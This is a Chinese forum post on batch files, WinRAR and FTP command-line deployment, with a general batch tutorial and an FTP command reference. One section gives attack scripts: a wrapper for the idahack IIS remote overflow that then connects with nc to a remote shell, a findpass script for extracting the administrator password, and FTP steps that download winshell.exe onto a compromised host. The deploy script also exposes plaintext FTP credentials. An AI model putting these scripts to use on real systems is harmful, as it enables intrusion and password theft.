前事不忘,后事之师,不忘国耻!

 注册  找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 2808|回复: 0

BAT+winrar命令行+ftp命令行 的运用

[复制链接]

BAT+winrar命令行+ftp命令行 的运用

[复制链接]
ehxz

主题

0

回帖

7147

积分

管理员

积分
7147
2008-6-26 17:17:16 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×
最近由于一个网站要频繁的改动,并且修改完后必须要马上部署到远程服务器上,前几次手动压缩,上传,解压,还能忍受,但是次数多了,就开始烦了。于是有了写个批处理文件的想法。
压缩上传文件zip.bat的内容如下:
rem 压缩网站文件目录,rar的命令行请参看rar帮助
"c:\Program Files\WinRAR\WinRAR.exe" a -as -r -EP1 "d:\chat.rar" "F:\eclipse\workspace\chat\context\*.*"
rem 删除rar文件中的jar文件,这样就不用上传这些大块头了
"c:\Program Files\WinRAR\WinRAR.exe" d "d:\chat.rar" "*.jar"
rem 上传
ftp -s:F:\vc\chatftp.txt 211.155.224.210
chatftp.txt文件内容如下:
test
test
bell
cd baoqf
put d:\chat.rar
bye
exit
远程登录到服务器上,运行解压批处理文件:
rem 解压,覆盖不提示
C:\WinRAR\WinRAR.exe x D:\data\baoqf\chat.rar D:\Tomcat\webapps\chat -r -y
rem 深度拷贝,覆盖不提示
xcopy D:\Tomcat\webapps\chat\context D:\Tomcat\webapps\chat /e /Y
xcopy D:\Tomcat\webapps\chat\abc.properties D:\Tomcat\webapps\chat\WEB-INF\classes\abc.properties /Y
rem 重启tomcat
d:\tomcat\bin\tomcat.exe stop
d:\tomcat\bin\tomcat.exe start
批处理BAT文件运用

1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:\>cd pro*
C:\Program Files>

C:\>
C:\>cd "Program Files"
C:\Program Files>


######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。


######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

tart
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck " %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck " %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w


ftp命令行参考

FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。  
FTP的命令行格式为:ftp-v-d-i-n-g[主机名],其中 
-v显示远程服务器的所有响应信息;
-i限制ftp的自动登录,即不使用;
-netrc文件;  
-d使用调试方式;
-g取消全局文件名。
ftp使用的内部命令如下(中括号表示可选项):
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip。
2.$macro-ame[args]:执行宏定义macro-name。
3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。
4.appendlocal-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。
7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。  
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cdremote-dir:进入远程主机目录。  
11.cdup:进入远程主机目录的父目录。
12.chmodmodefile-name:将远程主机文件file-name的存取方式设置为mode,如:chmod777a.out。
13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。 
15.deleteremote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式,显示发送至远程主机的每条命令,如:debup3,若设为0,表示取消debug。
17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件local-file。 
18.disconnection:同close。
19.formformat:将文件传输方式设置为format,缺省为file方式。
20.getremote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:helpget。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir,并存入本地文件local-file。
28.macdefmacro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdirremote-fileslocal-file:与dir类似,但可指定多个远程文件,如:mdir*.o.*.zipoutfile。
31.mgetremote-files:传输多个远程文件。
32.mkdirdir-name:在远程主机中建一目录。
33.mlsremote-filelocal-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename,缺省为stream方式。
35.modtimefile-name:显示远程主机文件的最后修改时间。
36.mputlocal-file:将多个文件传输至远程主机。  
37.newerfile-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
39.nmap[inpatternoutpattern]:设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如:nmap$1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
41.openhost[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。
43.prompt:设置多个文件传输时的交互提示。  
44.proxyftp-cmd:在次要控制连接中,执行一条ftp命令,该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。  
45.putlocal-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。
47.quit:同bye,退出ftp会话。
48.quotearg1,arg2...:将参数逐字发至远程ftp服务器,如:quotesyst。
49.recvremote-file[local-file]:同get。  
50.regetremote-file[local-file]:类似于get,但若local-file存在,则从上次传输中断处续传。
51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态,否则显示文件状态。
53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。
55.restartmarker:从指定的标志marker处,重新开始get或put,如:restart130。
56.rmdirdir-name:删除远程主机目录。
57.runique:设置文件名唯一性存储。  
58.sendlocal-file[remote-file]:同put。  
59.sendport:设置PORT命令的使用。  
60.sitearg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
61.sizefile-name:显示远程主机文件大小,如:siteidle7200。
62.status:显示当前ftp状态。
63.struct[struct-name]:将文件传输结构设置为struct-name,缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为唯一(与runique对应)。
65.system:显示远程主机的操作系统类型。  
66.tenex:将文件传输类型设置为TENEX机的所需的类型。
67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。  
69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:typebinary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask3。  
71.useruser-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:useranonymousmy@email。  
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp服务器的所有响应都将显示给用户,缺省为on。  
73.?[cmd]:同help。
免责申明1、欢迎访问本站,本文内容及相关资源来源于网络,版权归版权方所有!本站原创内容版权归本站所有,请勿转载!
2、本文内容仅代表作者观点,不代表本站立场,作者自负,本站资源仅供学习研究,请勿非法使用,否则后果自负!请下载后24小时内删除!
3、本文内容,包括但不限于源码、文字、图片等,仅供参考。本站不对其安全性,正确性等作出保证。但本站会尽量审核会员发表的内容。
4、如本帖侵犯到任何版权问题,请立即告知本站 ,本站将及时删除并致以最深的歉意!客服邮箱:admin@dbabbs.com
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|DBA论坛中国 ( 鲁ICP备20017503号-2 )

GMT+8, 2024-4-20 02:57 , Processed in 0.278565 second(s), 10 queries , MemCached On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表